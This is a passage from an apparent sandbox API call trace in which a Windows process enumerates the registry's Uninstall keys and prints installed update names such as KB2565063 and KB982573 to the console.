0x204bb0 [0149.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.343] _errno () returned 0x204bb0 [0149.343] GetFileType (hFile=0x50) returned 0x1 [0149.343] lstrlenW (lpString="(Default)") returned 9 [0149.343] GetConsoleOutputCP () returned 0x1b5 [0149.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.343] GetConsoleOutputCP () returned 0x1b5 [0149.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0149.343] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.343] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.343] __iob_func () returned 0x7fefd702a80 [0149.343] _fileno (_File=0x7fefd702ab0) returned 1 [0149.343] _errno () returned 0x204bb0 [0149.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.344] _errno () returned 0x204bb0 [0149.344] GetFileType (hFile=0x50) returned 0x1 [0149.344] lstrlenW (lpString=" ") returned 4 [0149.344] GetConsoleOutputCP () returned 0x1b5 [0149.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.344] GetConsoleOutputCP () returned 0x1b5 [0149.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.344] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.344] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.344] __iob_func () returned 0x7fefd702a80 [0149.344] _fileno (_File=0x7fefd702ab0) returned 1 [0149.344] _errno () returned 0x204bb0 [0149.344] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.344] _errno () returned 0x204bb0 [0149.344] GetFileType (hFile=0x50) returned 0x1 [0149.344] lstrlenW (lpString="REG_SZ") returned 6 [0149.344] GetConsoleOutputCP () returned 0x1b5 [0149.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.344] GetConsoleOutputCP () returned 0x1b5 [0149.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.344] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.344] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.345] __iob_func () returned 0x7fefd702a80 [0149.345] _fileno (_File=0x7fefd702ab0) returned 1 [0149.345] _errno () returned 0x204bb0 [0149.345] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.345] _errno () returned 0x204bb0 [0149.345] GetFileType (hFile=0x50) returned 0x1 [0149.345] lstrlenW (lpString=" ") returned 4 [0149.345] GetConsoleOutputCP () returned 0x1b5 [0149.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.345] GetConsoleOutputCP () returned 0x1b5 [0149.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.345] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.345] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.345] __iob_func () returned 0x7fefd702a80 [0149.345] _fileno (_File=0x7fefd702ab0) returned 1 [0149.345] _errno () returned 0x204bb0 [0149.345] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.345] _errno () returned 0x204bb0 [0149.345] GetFileType (hFile=0x50) returned 0x1 [0149.345] lstrlenW (lpString="KB2565063") returned 9 [0149.345] GetConsoleOutputCP () returned 0x1b5 [0149.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2565063", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.345] GetConsoleOutputCP () returned 0x1b5 [0149.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB2565063", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB2565063", lpUsedDefaultChar=0x0) returned 9 [0149.346] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.346] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.346] __iob_func () returned 0x7fefd702a80 [0149.346] _fileno (_File=0x7fefd702ab0) returned 1 [0149.346] _errno () returned 0x204bb0 [0149.346] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.346] _errno () returned 0x204bb0 [0149.346] GetFileType (hFile=0x50) returned 0x1 [0149.346] lstrlenW (lpString="\n") returned 1 [0149.346] GetConsoleOutputCP () returned 0x1b5 [0149.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.346] GetConsoleOutputCP () returned 0x1b5 [0149.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.346] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.346] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.346] GetProcessHeap () returned 0x3c0000 [0149.346] GetProcessHeap () returned 0x3c0000 [0149.346] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.346] GetProcessHeap () returned 0x3c0000 [0149.346] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x18 [0149.346] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.346] __iob_func () returned 0x7fefd702a80 [0149.346] _fileno (_File=0x7fefd702ab0) returned 1 [0149.347] _errno () returned 0x204bb0 [0149.347] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.347] _errno () returned 0x204bb0 [0149.347] GetFileType (hFile=0x50) returned 0x1 [0149.347] lstrlenW (lpString="\n") returned 1 [0149.347] GetConsoleOutputCP () returned 0x1b5 [0149.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.347] GetConsoleOutputCP () returned 0x1b5 [0149.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.347] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.347] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.347] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.347] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.347] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063") returned 131 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x10a) returned 0x3e1c70 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.347] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.347] GetProcessHeap () returned 0x3c0000 [0149.348] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.348] GetProcessHeap () returned 0x3c0000 [0149.348] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x10a [0149.348] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.348] RegCloseKey (hKey=0x5c) returned 0x0 [0149.348] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x16, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.348] __iob_func () returned 0x7fefd702a80 [0149.348] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.348] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\n") returned 131 [0149.348] _fileno (_File=0x7fefd702ab0) returned 1 [0149.348] _errno () returned 0x204bb0 [0149.348] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.348] _errno () returned 0x204bb0 [0149.348] GetFileType (hFile=0x50) returned 0x1 [0149.348] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\n") returned 131 [0149.348] GetConsoleOutputCP () returned 0x1b5 [0149.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\n", cchWideChar=131, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 131 [0149.348] GetConsoleOutputCP () returned 0x1b5 [0149.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\n", cchWideChar=131, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\n", lpUsedDefaultChar=0x0) returned 131 [0149.348] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 131 [0149.348] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.348] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.348] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x1, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.348] GetProcessHeap () returned 0x3c0000 [0149.349] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.349] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3dee90, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.349] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0149.349] GetProcessHeap () returned 0x3c0000 [0149.349] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0149.349] GetProcessHeap () returned 0x3c0000 [0149.349] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.349] GetProcessHeap () returned 0x3c0000 [0149.349] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.349] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="KB982573", pcbData=0x29f780*=0x12) returned 0x0 [0149.349] __iob_func () returned 0x7fefd702a80 [0149.349] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.349] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.349] _fileno (_File=0x7fefd702ab0) returned 1 [0149.349] _errno () returned 0x204bb0 [0149.349] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.349] _errno () returned 0x204bb0 [0149.349] GetFileType (hFile=0x50) returned 0x1 [0149.349] lstrlenW (lpString=" ") returned 4 [0149.349] GetConsoleOutputCP () returned 0x1b5 [0149.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.349] GetConsoleOutputCP () returned 0x1b5 [0149.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.349] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.349] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.350] lstrlenW (lpString="") returned 0 [0149.350] _memicmp (_Buf1=0x3df2b0, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.350] LoadStringW (in: hInstance=0x0, uID=0x1f5, lpBuffer=0x3e1a60, cchBufferMax=256 | out: lpBuffer="(Default)") returned 0x9 [0149.350] lstrlenW (lpString="(Default)") returned 9 [0149.350] __iob_func () returned 0x7fefd702a80 [0149.350] _fileno (_File=0x7fefd702ab0) returned 1 [0149.350] _errno () returned 0x204bb0 [0149.350] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.350] _errno () returned 0x204bb0 [0149.350] GetFileType (hFile=0x50) returned 0x1 [0149.350] lstrlenW (lpString="(Default)") returned 9 [0149.350] GetConsoleOutputCP () returned 0x1b5 [0149.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.350] GetConsoleOutputCP () returned 0x1b5 [0149.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(Default)", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(Default)", lpUsedDefaultChar=0x0) returned 9 [0149.350] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.350] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.350] __iob_func () returned 0x7fefd702a80 [0149.350] _fileno (_File=0x7fefd702ab0) returned 1 [0149.350] _errno () returned 0x204bb0 [0149.350] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.350] _errno () returned 0x204bb0 [0149.350] GetFileType (hFile=0x50) returned 0x1 [0149.350] lstrlenW (lpString=" ") returned 4 [0149.350] GetConsoleOutputCP () returned 0x1b5 [0149.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.351] GetConsoleOutputCP () returned 0x1b5 [0149.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.351] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.351] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.351] __iob_func () returned 0x7fefd702a80 [0149.351] _fileno (_File=0x7fefd702ab0) returned 1 [0149.351] _errno () returned 0x204bb0 [0149.351] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.351] _errno () returned 0x204bb0 [0149.351] GetFileType (hFile=0x50) returned 0x1 [0149.351] lstrlenW (lpString="REG_SZ") returned 6 [0149.351] GetConsoleOutputCP () returned 0x1b5 [0149.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.351] GetConsoleOutputCP () returned 0x1b5 [0149.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.351] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.351] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.351] __iob_func () returned 0x7fefd702a80 [0149.351] _fileno (_File=0x7fefd702ab0) returned 1 [0149.351] _errno () returned 0x204bb0 [0149.351] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.351] _errno () returned 0x204bb0 [0149.352] GetFileType (hFile=0x50) returned 0x1 [0149.352] lstrlenW (lpString=" ") returned 4 [0149.352] GetConsoleOutputCP () returned 0x1b5 [0149.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.352] GetConsoleOutputCP () returned 0x1b5 [0149.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.352] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.352] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.352] __iob_func () returned 0x7fefd702a80 [0149.352] _fileno (_File=0x7fefd702ab0) returned 1 [0149.352] _errno () returned 0x204bb0 [0149.352] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.352] _errno () returned 0x204bb0 [0149.352] GetFileType (hFile=0x50) returned 0x1 [0149.352] lstrlenW (lpString="KB982573") returned 8 [0149.352] GetConsoleOutputCP () returned 0x1b5 [0149.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB982573", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.352] GetConsoleOutputCP () returned 0x1b5 [0149.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="KB982573", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KB982573", lpUsedDefaultChar=0x0) returned 8 [0149.352] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.352] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.353] __iob_func () returned 0x7fefd702a80 [0149.353] _fileno (_File=0x7fefd702ab0) returned 1 [0149.353] _errno () returned 0x204bb0 [0149.353] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.353] _errno () returned 0x204bb0 [0149.353] GetFileType (hFile=0x50) returned 0x1 [0149.353] lstrlenW (lpString="\n") returned 1 [0149.353] GetConsoleOutputCP () returned 0x1b5 [0149.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.353] GetConsoleOutputCP () returned 0x1b5 [0149.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.353] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.353] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.353] GetProcessHeap () returned 0x3c0000 [0149.353] GetProcessHeap () returned 0x3c0000 [0149.353] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.353] GetProcessHeap () returned 0x3c0000 [0149.353] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0149.353] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.353] __iob_func () returned 0x7fefd702a80 [0149.353] _fileno (_File=0x7fefd702ab0) returned 1 [0149.353] _errno () returned 0x204bb0 [0149.353] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.353] _errno () returned 0x204bb0 [0149.353] GetFileType (hFile=0x50) returned 0x1 [0149.353] lstrlenW (lpString="\n") returned 1 [0149.353] GetConsoleOutputCP () returned 0x1b5 [0149.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.354] GetConsoleOutputCP () returned 0x1b5 [0149.354] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.354] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.354] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.354] GetProcessHeap () returned 0x3c0000 [0149.354] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.354] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.354] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, 